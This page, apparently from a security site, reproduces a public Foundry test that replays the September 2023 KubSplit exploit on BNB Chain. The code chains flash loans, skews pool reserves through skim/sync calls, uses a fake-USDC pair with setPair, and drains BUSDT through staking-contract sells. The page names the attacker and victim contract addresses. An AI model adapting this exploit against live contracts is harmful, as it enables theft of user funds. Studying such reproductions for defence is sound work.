Skip to content
THREATWIRE

Public reproduction file

src/test/2023-09/Kub_Split_exp.sol

Public reproduction file for dataset entry KubSplit.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/Kub_Split_exp.sol225 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~78K USD$
8// Attacker : https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e
9// Attack Contract : https://bscscan.com/address/0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d
10// Vulnerable Contract : https://bscscan.com/address/0xc98e183d2e975f0567115cb13af893f0e3c0d0bd
11// Attack Tx : https://bscscan.com/tx/0x2b0877b5495065e90d956e44ffde6aaee5e0fcf99dd3c86f5ff53e33774ea52d
13// @Analysis
14// https://twitter.com/CertiKAlert/status/1705966214319612092
16interface IStakingRewards {
17 function stake(address token, address token1, address token2, address up, uint256 amount) external;
19 function sell(address token, address token1, uint256 amount) external;
22interface ISplit is IERC20 {
23 function setPair(
24 address token
25 ) external;
28contract ContractTest is Test {
29 Uni_Pair_V2 private constant BUSDT_KUB_LP = Uni_Pair_V2(0x39aDFE6ec5a19bb573a2Fd8A5028031C0dc57600);
30 Uni_Pair_V2 private constant KUB_Split = Uni_Pair_V2(0x16bF07CC3b84c6C2F97c32a6C66aEB726AbfC570);
31 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
32 IERC20 private constant KUB = IERC20(0x808602d91e58f2d58D7C09306044b88234ab4628);
33 ISplit private constant Split = ISplit(0xc98E183D2e975F0567115CB13AF893F0E3c0d0bD);
34 IERC20 private constant fakeUSDC = IERC20(0xa88D48a4c6D8dD6a166A71CC159A2c588Fa882BB);
35 IDPPOracle private constant DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
36 IDPPOracle private constant DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
37 IDPPOracle private constant DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
38 IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
39 IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
40 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
41 Uni_Router_V2 private constant PancakeRouter1 = Uni_Router_V2(0xfDE81E1f340C3ec271142723781df9e685653213);
42 Uni_Router_V2 private constant PancakeRouter2 = Uni_Router_V2(0x5D82aeA1fE75CB40AfE792dAe1cf76EA8E2808CE);
43 IStakingRewards private constant StakingRewards1 = IStakingRewards(0x26Eea9ff2f3caDec4d6Fc4f462F677b58AB31Ab0);
44 IStakingRewards private constant StakingRewards2 = IStakingRewards(0x3A006dD44a4a0e43C942f57d452a6a7Ada25AdC3);
45 Uni_Pair_V2 private constant BUSDT_Split = Uni_Pair_V2(0xe4D038DE672e226877Db8FA2670C5ba9778155fF);
46 address private constant BUSDT_KUB = 0x1E338D9Db6bb78cFd8eE1F756907899C006711AF;
47 address private constant upAddressForStake = 0x67Bf514E9e07b2F95C8805f9a035f60512384d1c;
48 address private constant exploiter = 0x7Ccf451D3c48C8bb747f42F29A0CdE4209FF863e;
50 function setUp() public {
51 vm.createSelectFork("bsc", 32_021_100 - 1);
52 vm.label(address(BUSDT_KUB_LP), "BUSDT_KUB_LP");
53 vm.label(address(KUB_Split), "KUB_Split");
54 vm.label(address(BUSDT), "BUSDT");
55 vm.label(address(KUB), "KUB");
56 vm.label(address(Split), "Split");
57 vm.label(address(fakeUSDC), "fakeUSDC");
58 vm.label(address(DPPOracle1), "DPPOracle1");
59 vm.label(address(DPPOracle2), "DPPOracle2");
60 vm.label(address(DPPOracle3), "DPPOracle3");
61 vm.label(address(DPPAdvanced), "DPPAdvanced");
62 vm.label(address(DPP), "DPP");
63 vm.label(address(Router), "Router");
64 vm.label(address(PancakeRouter1), "PancakeRouter1");
65 vm.label(address(PancakeRouter2), "PancakeRouter2");
66 vm.label(address(StakingRewards1), "StakingRewards1");
67 vm.label(address(StakingRewards2), "StakingRewards2");
68 vm.label(BUSDT_KUB, "BUSDT_KUB");
69 vm.label(address(BUSDT_Split), "BUSDT_Split");
70 vm.label(upAddressForStake, "upAddressForStake");
71 }
73 function testExploit() public {
74 deal(address(BUSDT), address(this), 0);
75 deal(address(fakeUSDC), address(this), 10_000 * 1e18);
77 emit log_named_decimal_uint(
78 "Attacker BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
79 );
81 emit log_named_decimal_uint("Attacker KUB balance before attack", KUB.balanceOf(address(this)), KUB.decimals());
83 emit log_named_decimal_uint(
84 "Attacker Split balance before attack", Split.balanceOf(address(this)), Split.decimals()
85 );
87 BUSDT_KUB_LP.sync();
89 DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));
91 emit log_named_decimal_uint(
92 "Attacker BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
93 );
95 emit log_named_decimal_uint("Attacker KUB balance after attack", KUB.balanceOf(address(this)), KUB.decimals());
97 emit log_named_decimal_uint(
98 "Attacker Split balance after attack", Split.balanceOf(address(this)), Split.decimals()
99 );
100 }
102 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
103 if (abi.decode(data, (uint256)) == uint256(0)) {
104 DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1));
105 } else if (abi.decode(data, (uint256)) == uint256(1)) {
106 DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(2));
107 } else if (abi.decode(data, (uint256)) == uint256(2)) {
108 DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(3));
109 } else if (abi.decode(data, (uint256)) == uint256(3)) {
110 DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(4));
111 } else {
112 BUSDT.approve(address(Router), type(uint256).max);
113 BUSDT.approve(address(StakingRewards1), type(uint256).max);
115 BUSDTToKUB();
116 KUB.transfer(address(KUB_Split), KUB.balanceOf(address(this)) - 10);
117 KUB_Split.sync();
119 BUSDTToSplit();
120 StakingRewards1.stake(address(KUB), address(BUSDT), address(BUSDT), upAddressForStake, 1000e18);
122 uint8 i;
123 while (i < 30) {
124 Split.transfer(address(this), 0);
125 ++i;
126 }
128 Split.transfer(address(BUSDT_Split), 0);
129 BUSDT_Split.skim(address(this));
130 Split.transfer(address(KUB_Split), 0);
131 KUB.transfer(address(KUB_Split), 1);
132 KUB_Split.skim(address(this));
133 Split.transfer(address(KUB_Split), 0);
134 KUB_Split.sync();
135 for (i = 0; i < 2; ++i) {
136 BUSDT_Split.skim(address(this));
137 }
138 // Amount of Split to send to pair later
139 uint256 amountSplit = Split.balanceOf(address(BUSDT_Split)) * 2;
140 // Exploit
141 // Creating pair with original fake USDC token deployed by attacker before
142 address fakeUSDC_Split = IUniswapV2Factory(Router.factory()).createPair(address(fakeUSDC), address(Split));
143 // Tx.origin must be exploiter eoa here (because original fake USDC contract is in use and exploiter addr is required to transfer)
144 vm.startPrank(address(this), exploiter);
145 // Send tokens to newly created token pair - USDC-Split
146 fakeUSDC.transfer(fakeUSDC_Split, 1e6);
147 Split.transfer(fakeUSDC_Split, amountSplit);
148 Uni_Pair_V2(fakeUSDC_Split).sync();
150 Split.setPair(address(fakeUSDC));
151 fakeUSDC.approve(address(Router), type(uint256).max);
152 // Swap fakeUSDC => Split => BUSDT
153 fakeUSDCToBUSDT();
154 vm.stopPrank();
156 Split.approve(address(StakingRewards2), type(uint256).max);
157 KUB.approve(address(StakingRewards1), type(uint256).max);
159 i = 0;
160 while (i < 100) {
161 (uint112 reserveKUB, uint112 reserveSplit,) = KUB_Split.getReserves();
162 uint256 amountOutKUB = calcAmountOut(KUB_Split, StakingRewards2, reserveKUB, KUB);
164 uint256 amountInSplit = PancakeRouter2.getAmountIn(amountOutKUB, reserveSplit, reserveKUB);
166 if (Split.balanceOf(address(this)) <= ((amountInSplit * 2) * 9) / 10) {
167 StakingRewards2.sell(address(Split), address(KUB), amountInSplit);
168 } else {
169 StakingRewards2.sell(address(Split), address(KUB), ((amountInSplit * 2) * 9) / 10);
170 }
171 ++i;
172 }
174 i = 0;
175 while (i < 10) {
176 (uint112 reserveBUSDT, uint112 reserveKUB,) = BUSDT_KUB_LP.getReserves();
177 uint256 amountOutBUSDT = calcAmountOut(BUSDT_KUB_LP, StakingRewards1, reserveBUSDT, BUSDT);
178 uint256 amountInKUB = PancakeRouter1.getAmountIn(amountOutBUSDT, reserveKUB, reserveBUSDT);
180 StakingRewards1.sell(address(KUB), address(BUSDT), amountInKUB);
182 ++i;
183 }
184 }
185 BUSDT.transfer(msg.sender, quoteAmount);
186 }
188 function BUSDTToKUB() internal {
189 address[] memory path = new address[](2);
190 path[0] = address(BUSDT);
191 path[1] = address(KUB);
192 Router.swapExactTokensForTokens(BUSDT.balanceOf(BUSDT_KUB) * 2, 0, path, address(this), block.timestamp + 1000);
193 }
195 function BUSDTToSplit() internal {
196 address[] memory path = new address[](2);
197 path[0] = address(BUSDT);
198 path[1] = address(Split);
199 Router.swapExactTokensForTokens(
200 BUSDT.balanceOf(address(BUSDT_Split)) * 2, 0, path, address(this), block.timestamp + 1000
201 );
202 }
204 function fakeUSDCToBUSDT() internal {
205 address[] memory path = new address[](3);
206 path[0] = address(fakeUSDC);
207 path[1] = address(Split);
208 path[2] = address(BUSDT);
209 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
210 fakeUSDC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
211 );
212 }
214 function calcAmountOut(
215 Uni_Pair_V2 pool,
216 IStakingRewards stakingRewards,
217 uint112 reserve,
218 IERC20 token
219 ) internal view returns (uint256) {
220 uint256 a = pool.totalSupply() * 1000;
221 uint256 b = pool.balanceOf(address(stakingRewards)) * 7;
222 uint256 c = (b * reserve) / a;
223 return (token.balanceOf(address(stakingRewards)) + c);
224 }

Analysis

Dataset entry

Public Foundry test for “KubSplit” (2023-09-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e

  • Attack Contract

    0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d

  • Vulnerable Contract

    0xc98e183d2e975f0567115cb13af893f0e3c0d0bd

  • Attack Tx

    0x2b0877b5495065e90d956e44ffde6aaee5e0fcf99dd3c86f5ff53e33774ea52d

File record

Name
KubSplit
Path
src/test/2023-09/Kub_Split_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0a8def406d64c1303723aa0b2ea13eb36f063dd3
Language
Solidity
Size
226 lines
Date
2023-09-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-09/Kub_Split_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0a8def406d64c1303723aa0b2ea13eb36f063dd3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.